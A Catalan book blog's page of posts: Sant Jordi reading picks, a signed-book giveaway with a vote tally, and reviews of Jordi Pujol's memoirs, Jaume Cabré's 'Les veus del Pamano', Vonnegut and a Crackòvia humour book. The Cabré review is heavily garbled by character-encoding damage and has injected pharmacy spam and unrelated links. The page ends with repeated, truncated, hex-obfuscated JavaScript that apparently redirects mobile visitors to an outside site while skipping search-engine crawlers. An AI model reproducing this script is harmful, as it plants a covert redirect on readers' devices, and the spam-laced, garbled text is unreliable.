Falta menys d’una setmana per Sant Jordi!

Aquest matí he anat amb la família a Granollers i hem volgut passar per La Gralla, on tot estava ja preparat per la imminent arribada de Sant Jordi. Hem aprofitat per fer una repassada a l’oferta de llibres i la veritat és que he sortit feta un embolic!! Hi ha un bé de Déu de títols on triar i, evidentment, no podran venir tots cap a casa, així que la selecció  definitiva promet ser dura.

He decidit començar la llista pels dos menys compromesos: el de l’amic invisible de la meva filla per Sant Jordi i el de la noia de 16 anys que li fa de cangur de vegades.

Com que l’altre dia vaig estar veient el Miralles i per la crítica que en va fer la Sílvia em va semblar molt interessant (vegeu “Nosaltres”, perdoneu que no m’aixequi: Retrum), em sembla que a la cangur li acabaré comprant Retrum.

Em va comentar un dia que li agrada molt el Moccia, però  em sembla que els d’aquest autor ja els té tots, o sigui que  una mica d’amor regat amb misteri li pot agradar.

Per a l’amic invisible, dubtàvem entre el llibre il·lustrat d’Alícia al país de les meravelles, de Xavier Collette, o bé El Crackòvia de les 6 copes, que ja us vaig comentar que a la meva filla li havia agradat d’allò més (vegeu Enguany, lliga, Champions i El Crackòvia de les 6 copes). Finalment, al cotxe hem resolt que com que li ha tocat un nen “futbolero”, el llibre del Barça serà l’escollit.

I vosaltres, ja hi heu començat a pensar? Sabeu quin/-s llibre/-s comprareu per Sant Jordi? Ens agradaria molt que ens ho expliquéssiu. Potser els vostres comentaris poden ajudar “persones-a-la-recerca-del-llibre-adequat” com ara jo en aquest precís moment!!

Ets el culé més culé que ha visitat mai aquest blog? Tenim un “Viatge d’anada i tornada” per a tu!

El Gerard Piqué ha tingut el detallàs de dedicar-nos un llibre a “nosaltres”! No us ho creieu? Doncs aquí va un testimoni gràfic:
Gerard Piqué signa Viatge d'anada i tornada
Ah, sí, penseu que podria estar signant qualsevol cosa… Doncs si desconfieu, us equivoqueu!! Ens estava sigant un Viatge d’anada i tornada en exclusiva.

Hem pensat que el millor que li pot passar a aquest exemplar és fer un nou viatge, de les mans d’en Piqué a les d’algú de “nosaltres”, però ens hauríem d’assegurar que el futur/-a lector/-a és, de debò, culé, culé.

Si tu vols que t’enviem aquest llibre a casa, només cal que entre avui i el dilluns dia 19 abans de les 10 comentis aquest post dient el teu nom i per què t’agradaria rebre el llibre dedicat. A continuació, hauries de demanar als companys / coneguts / parents i amics de Facebook que comentin també aquesta entrada, indicant que són amics teus i donant fe que sí, que ets els més culé del món.
Des del blog, anirem recomptant quants us heu apuntat per rebre el llibre i qui de vosaltres està aconseguint més suports. El dia 19 a les 10 us direm a qui li enviem i ens posarem en contacte amb ell/-a per demanar-li l’adreça on enviar-li. És així de fàcil!
Una cosa més; demaneu als amics que els correus que facin servir siguin vàlids, perquè és possible que els fem arribar un correu d’autenticació.

Apa, animeu-vos! Si teniu la sang blaugrana digueu-nos-ho i que els amics ho confirmin, perquè el Viatge d’anada i tornada pot ser vostre.

Ja tenim guanyadora! Felicitats!

(darrera actualització dilluns 19 a les 10:15h)

Suports rebuts

516 Martuu
445 Alèxia
164 Núria
99 Julia
56 Ariadna
54 María S.
52 Júlia Fernández
37 Jenni
25 Laura
25 Lia
13 Adagio
7 Marta
6 Laia
4 Marta Ibáñez
2 Montserrat
2 Lidia
2 Marc
1 Meritxell
0 Albert
0 Martín
0 Estela
0 Noelia
0 Àngela
0 Ritta
0 Carla
0 Montse
0 Marc Matas

“Memòries I” de Jordi Pujol

Títol: Memòries (I) Història d’una convicció (1930 – 1980)
Autor: Jordi Pujol
Editorial: Proa
Col·lecció: Perfils [Núm 0 /1]
Pàgines: 400
ISBN: 978-84-8437-045-1
PVP: 27,1€

Les Memòries d’en Jordi Pujol és un llibre curiós. No sóc una gran lectora de Memòries, de manera que és un gènere que em descol·loca.

En Jordi Pujol és una de les figures claus de la política catalana, estatal i europea de les darreres dècades. Això s’ha dit i s’ha repetit milers de vegades, però a més, és cert. Els tòpics, a vegades, es basen en la realitat i aquest n’és un.

El primer volum repassa la seva vida des dels seus orígens fins a la formació del primer govern Pujol, l’any 1980.
Des que jugava als carrers de Premià de Dalt fins que fa el primer discurs com a President al Parlament de Catalunya.

Repassa mestres, companys, amics. Projectes, idees, propostes. Influències, passions, compromisos.

Ell defineix la seva actuació a partir de l’eix “què puc fer per Catalunya?” i a partir de les respostes que dóna en cada moment a aquest eix central va “construint Catalunya”, cosa que és la seva obsessió i la seva motivació. Des de la societat civil, amb la creació del CC. Des de la banca i l’empresa, amb la fundació de Banca Catalana, un banc industrial.

Des de l’activisme sociopolític (en tant que no estava enquadrat en cap partit) clandestí, amb els Fets del Palau, que el porten a la presó. Des de les institucions existents, com a soci del Barça, des de l’església, com a membre i, posteriorment, confrare de Virtèlia.

Presenta un compromís personal amb el país que l’explicita des de les múltiples facetes que té una persona: com a creient, com a pare, com a empresari, com a marit, com a fill, com a nét… Explica el seu compromís, també, com una herència de la responsabilitat, de la “gent d’eina i feina”, que diu.

Jo sempre havia pensat que les memòries servien per fer sang i fetge d’enemics (o, si cal, també d’amics). En aquestes no n’hi ha gens, de sang i fetge. No malparla de ningú. No explica anècdotes fosques ni posa actuacions d’altres en entredit. En canvi, hi ha silencis clamorosos. M’han dit que, de Pujol, el més interessant no és el que diu, sinó el que calla. Que és quan és més eloqüent. Probablement sigui cert. Hi ha gent que pràcticament no surt. I quan surt, és per fer-ne un comentari ràpid, breu, que genera més preguntes que dubtes resol.

Tarradelles, Pallach, Reventós, Cullell, Roca, Suárez, González, Carrillo, Solé Tura, Trias Fargas, Cahner, Palau i Fabre, Benet, Coll i Alentorn,… Tots ells apareixen en les seves memòries. D’uns amb afecte; d’altres amb respecte; alguns, senzillament, apareixen.

Les memòries de Jordi Pujol es poden llegir com un text justificatiu de per què Convergència és el que és i és com és. Més de dues vegades explica que la relació del nacionalisme català ha de ser de responsabilitat amb Espanya. Diu també més de dues vegades que la independència no és un plantejament de CiU, ni d’ara ni de la seva fundació.

Explica el plantejament de la Casa Gran del Catalanisme (tan de moda el 2010!), de manera que els postulats pujolistes són encara vigents, i molt, a Convergència.

També poden ser llegides com un repàs per la lluita de l’antifranquisme i què s’hi coïa, qui ho coïa i què implicava. Qui hi era i qui diu que hi era però potser no tant.

Però, fins i tot, poden ser llegides com una novel·la en què el protagonista fa un viatge iniciàtic, en què cada passa que fa, cada experiència, l’acosta més a l’objectiu. En aquest cas, i segons el seu punt de vista, a construir Catalunya.

I aquesta “visió més novel·lesca” és claríssima en el moment d’acabar el llibre. Obre el tema Banca Catalana, però no el tanca. El deixa per al segon volum. Ben bé com una sèrie de suspens.

Us deixem amb dues entrevistes, una a El Punt i l’altra a El Mundo, molt interessants! I no us perdeu aquest vídeo on la “Mònica Terribas” entrevista a “Jordi Pujol” (no trobeu alguna cosa estranya? són els imitadors del programa Polònia! … tot i que ho fan molt bé!)

Si Judes no et falla, escriure a quatre mans és possible…

el llegat de judesBé, ja em perdonareu el títol, una mica esbiaixat, sí, però és que ahir vaig anar a la presentació d’El llegat de Judes, que es va celebrar a la tarda a l’FNAC de l’Illa Diagonal de Barcelona i va ser una de les idees que vaig treure’n en clar. Bé, per ser exactes, la cosa no va anar ben bé així…  Una de les dades curioses que van explicar en Joan Bruna i en Francesc Miralles és que per escriure a quatre mans es van repartir la feina: en Joan va escriure el Testament de Judes i en Francesc la trama actual, la que porta els personatges a la recerca de les set monedes (vegeu El personatge de Judes m’ha seduït i Judes, la millor companyia de Divendres Sant). Així no hi va haver conflicte estilístic i, a més, es van poder centrar esforços en les tasques de documentació.

Una altra de les curiositats de la trobada va ser que en Francesc va confessar que l’anècdota de la botiga de samarretes que apareix al llibre li va passar realment a ell. No us l’explicaré aquí per no avorrir-vos, però llegida (i sentida!) tal com ell ho fa té molta gràcia!

Finalment, com que anava amb la meva filla, no vaig poder resistir la temptació de demanar-los que li signessin el llibre, la qual cosa vam agrair de tot cor. Tan és així que a la nena li va faltar temps per ensenyar-li l’avi la novel·la dedicada; ell la va agafar, va llegir-ne la dedicatòria amb deteniment, li va donar la volta, va llegir la contra… i ja m’ha aixafat el regal de Sant Jordi perquè se l’ha quedada a la tauleta de nit! En fi, és el que tothom comentava ahir, que enganxa, enganxa!

Bé, us deixo amb algunes fotos que vaig fer. Ja veureu que sóc una pèssima reportera!

No voldria descuidar-me de dir que assistir a la presentació em va permetre conèixer en persona en X. R.. Trigo! Va ser una gran alegria, que espero repetir aviat quan ell presenti la seva propera novel·la (Xulio, tots “nosaltres” en volem més i aviat!).

Recuperem “Les veus del Pamano”

Repetim Les veus del Pamano! Arran dels nostres comentaris (vegeu Les veus del Pamano i Jaume Cabré…), en Pere ha decidit enviar-nos aquesta ressenya per aportar el seu granet. A veure que us sembla el llibre!

Títol: Les veus del Pamano
Autor: Jaume Cabré
Editorial: Proa
Col·lecció: A tot vent
Pàgines: 704
ISBN: 978-84-8437-473-2
PVP: 27,40€

Aquest és un d’aquells llibres que m’arriben a les mans perqué algú altre se l’ha llegit i no només me’l recomana sinó que a més me’l deixa. I jo el vaig tenir a la prestatgeria on guardo els llibres d’altri durant força temps fins que em vaig decidir a endinsar-me en les seves pàgines.

Suposo que vaig trigar a començar-lo perqué l’imaginava un llibre difícil de llegir, dens, amb una història complicada. Així doncs la meva sorpresa va ser gran quan em vaig trobar tot el contrari: un llibre molt fàcil de llegir, d’aquells que enganxen i amb una història ben senzilla, de fet pròpia d’un bon culebrón de televisió. En ell trobem dues històries explicades en paral·lel: la del mestre d’escola Oriol Fontelles durant la guerra civil espanyola en un petit poble del Pallars i la de la mestra Tina Font en el mateix poble en l’actualitat. No descriuré en més detall la història per no espatllar res a qui se’l vulgui llegir, només que en el fons es tracta d’un exercici de memòria històrica de la Tina quan descobreix els diaris personals amagats de l’Oriol.

I el que m’agradaria destacar més és el tema de fons que crec que hi ha en el llibre: la recuperació de la memòria històrica. Cal mirar al passat recent i veure el paper que cada un de nosaltres va exercir en un moment històric determinat encara que això pugui reobrir ferides? Fins a quin punt és important conèixer de veritat el nostre passat? No el global, d’un pais o un continent, sinó el local, el dels petits pobles en valls perdudes o el de petits barris en grans ciutats. Podem entendre el present sense conèixer el passat? O podem aspirar a un futur millor sinó tenim en compte els errors passats? Crec que les respostes a aquestes preguntes són prou evidents, però avui dia hi ha gent que sembla que les hagi deixat oblidades ves a saber on.

(…)

Si voleu saber més, passeu-vos per A la vora del foc!

Enguany, Lliga, Champions i El Crackòvia de les 6 copes

Títol: El Crackòvia de les 6 copes
Autor: Jordi Graví
Editorial: Columna
Col·lecció: Fora de col·lecció. Humor
Pàgines: 120
ISBN: 978-84-664-1268-1
PVP: 17’95 €

Una molt bona amiga està una mica ensopida aquests dies i en vam estar parlant divendres. Li vaig preguntar què estava llegint i em va dir “tinc el de la Julia Navarro a la tauleta però encara no me l’he començat…”. Jo vaig pensar que si estàs una mica agobiat, se’t pot arribar a fer una mica costeruda, la novel·la històrica -tot i que ella acostuma a llegir-ne i és una gran seguidora tant de l’Asensi com de la Navarro-, així que vaig córrer a la llibreria a buscar un llibre de jajaja.

Entre tota l’oferta de la secció “passa-t’ho-bé-sense-rumiar-gens-ni-mica” vaig trobar-me El Crackòvia de les 6 copes, un llibre il·lustradíssim escrit pel Nuñez, el Guti, el Tamudo, l’Iniesta, el Piqué i tota la gloriosa comitiva del Crackòvia. Tot i que vaig pensar que una gran lectora com ella potser me’l fotria pel cap, em vaig arriscar i me’l vaig endur cap a casa. Us he de dir que ella de moment encara no el té (espero donar-li entre avui i demà) però ja ha passat per les mans de tota la meva família (ups, li donarem gastat!).

La meva filla se l’ha demanat per Sant Jordi perquè hi ha “un joc molt xulo” -una mena de joc de l’oca- i la lletra del famós “Copa, Lliga i Champions”, que l’any passat va cantar tota la classe fins a l’extenuació. El meu marit i jo hem rigut amb animalades com aquesta:

Entrevista de Quique Guasch a Johan Cruyff:

QG: (…) Em refereixo a la seva feina com a seleccionador català.

JC: Sí claro, muy bien. Trabajo una vez al año, como los Reyes Vagos de Oriente, y no cobro nada.

QG: És un hobby?

JC: No, soy un elfo, ¡no te jode! (…)

Mon pare s’ho ha passat d’allò més bé resolent els jeroglífics del final amb la seva néta, així que, tots contents!

Ja ho sabeu, si esteu buscant un llibre pim-pam, pim-pam El Crackòvia de les 6 copes ¡Ueah! (En confiança, espero que la interessada, quan rebi el llibre, pensi el mateix i  no que m’he begut l’enteniment!!).


Las sirenas de Titán

En Pau ens ha enviat aquest comentari de Las sirenas de Titán, de Kurt Vonnegut. Esperem que us agradi!

Títol: Las Sirenas de Titán
Autor: Kurt Vonnegut
Editorial: Ediciones Minotauro, S.A.
Col·lecció: Minotauro
ISBN: 84-450-7068-1

Què passa quan un viatger interplanetari queda atrapat en uninfundibulum cronosinclàstic? Doncs que el seu cos quedarà escampat per tot el continu espai-temps d’aquest racó de la galàxia, i serà capaç de viure els moments passats, presents i futurs d’aquí, de Mart i de Tità. Això el convertirà en una espècie de Déu omnipresent per a la resta d’humans, i l’incitarà a crear una nova religió universal, l’Església del Déu Indiferent.

Aquest és, més o menys, l’escenari que planteja Las sirenas de Titán de Kurt Vonnegut. A partir d’aquí, l’argument anirà embolicant la troca amb la idea de replantejar-se una pila de realitats punyents com ara el militarisme, la predestinació dels individus , el borreguisme de les masses o l’absurd de l’existència.

(…)

Si voleu saber més, passeu-vos per Males Herbes!

Les veus del Pamano

Jaume CabrAi?? (Barcelona, 1947), guardonat recentment amb el http://ayakkabiguvenligi.com/business-plan/ Premi dai??i??Honor de les Lletres Catalanes 2010, Ai??s actualment una de les veus literAi??ries mAi??s importants i sA?lides en llengua catalana.

A la seva obra podem trobar relats, novelAi??la -algunes adreAi??ades als joves lectors-, teatre, assaig i colAi??laboracions en guions per a sA?ries i programes de televisiA? i rAi??dio, i en guions cinematogrAi??fics. Va ser un dels fundadors i membres del colAi??lectiu OfA?lia Dracs.

Val a dir que Jaume CabrAi?? Ai??s un autor sense presses ni per escriure ni per publicar. El seu estil i la seva metodologia sA?n reposats, ben pensats i estructurats, sense que hi hagi cabuda per a la improvisaciA?, fet que no Ai??s contradictori amb tenir una vasta bibliografia i amb lai??i??obtenciA? de premis literaris.

TAi??tol: Les veus del Pamano
Autor: Jaume CabrAi??
Editorial: Proa
ColAi??lecciA?: A tot vent
PAi??gines: 704
ISBN: 978-84-8437-473-2
PVP: 27,40ai??i??

En ocasiA? de la concessiA? del Premi dai??i??Honor de les Lletres Catalanes 2010 a Jaume CabrAi?? http://lane24.no/?p=11021 , Ai??s un bon moment per recordar una de les seves obres mAi??s significatives i que sens dubte ja sai??i??ha convertit en tot un clAi??ssic de la literatura catalana.

Les veus del Pamano Ai??s una gran novelAi??la que ens mostra als lectors una visiA? real dels anys de postguerra i de com era de complexa i paradoxal la vida diAi??ria a un poble dels Pirineus -que serveix de reflex de la societat catalana del moment- on la poblaciA? es troba dividida en dos bAi??ndols.

I Jaume CabrAi?? posa lai??i??accent en les histA?ries entrecreuades que ressalten les diferA?ncies personals i ideolA?giques, les antigues ferides i les situacions compromeses creades per lai??i??atzar i que perduraran entre famAi??lies veA?nes durant molt de temps. I ho fa dai??i??una manera molt hAi??bil amb anades i tornades en el temps grAi??cies als flashbacks, que li donen a la novelAi??la un carAi??cter molt visual i, fins i tot, cinematogrAi??fic, segurament com a conseqA?A?ncia de la seva experiA?ncia com a guionista.

Per acabar vull recordar que al novembre de lai??i??any passat es va fer una nolvadex no rx, generic dapoxetine. adaptaciA? http://paintsupplyco.com/buy-lasunaga/ de Les veus del Pamano a TV3 que va tenir un gran A?xit.

Us deixem amb un vAi??deo on l’escriptor Jaume CabrAi?? parla del seu llibre Les veus del Pamano.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= 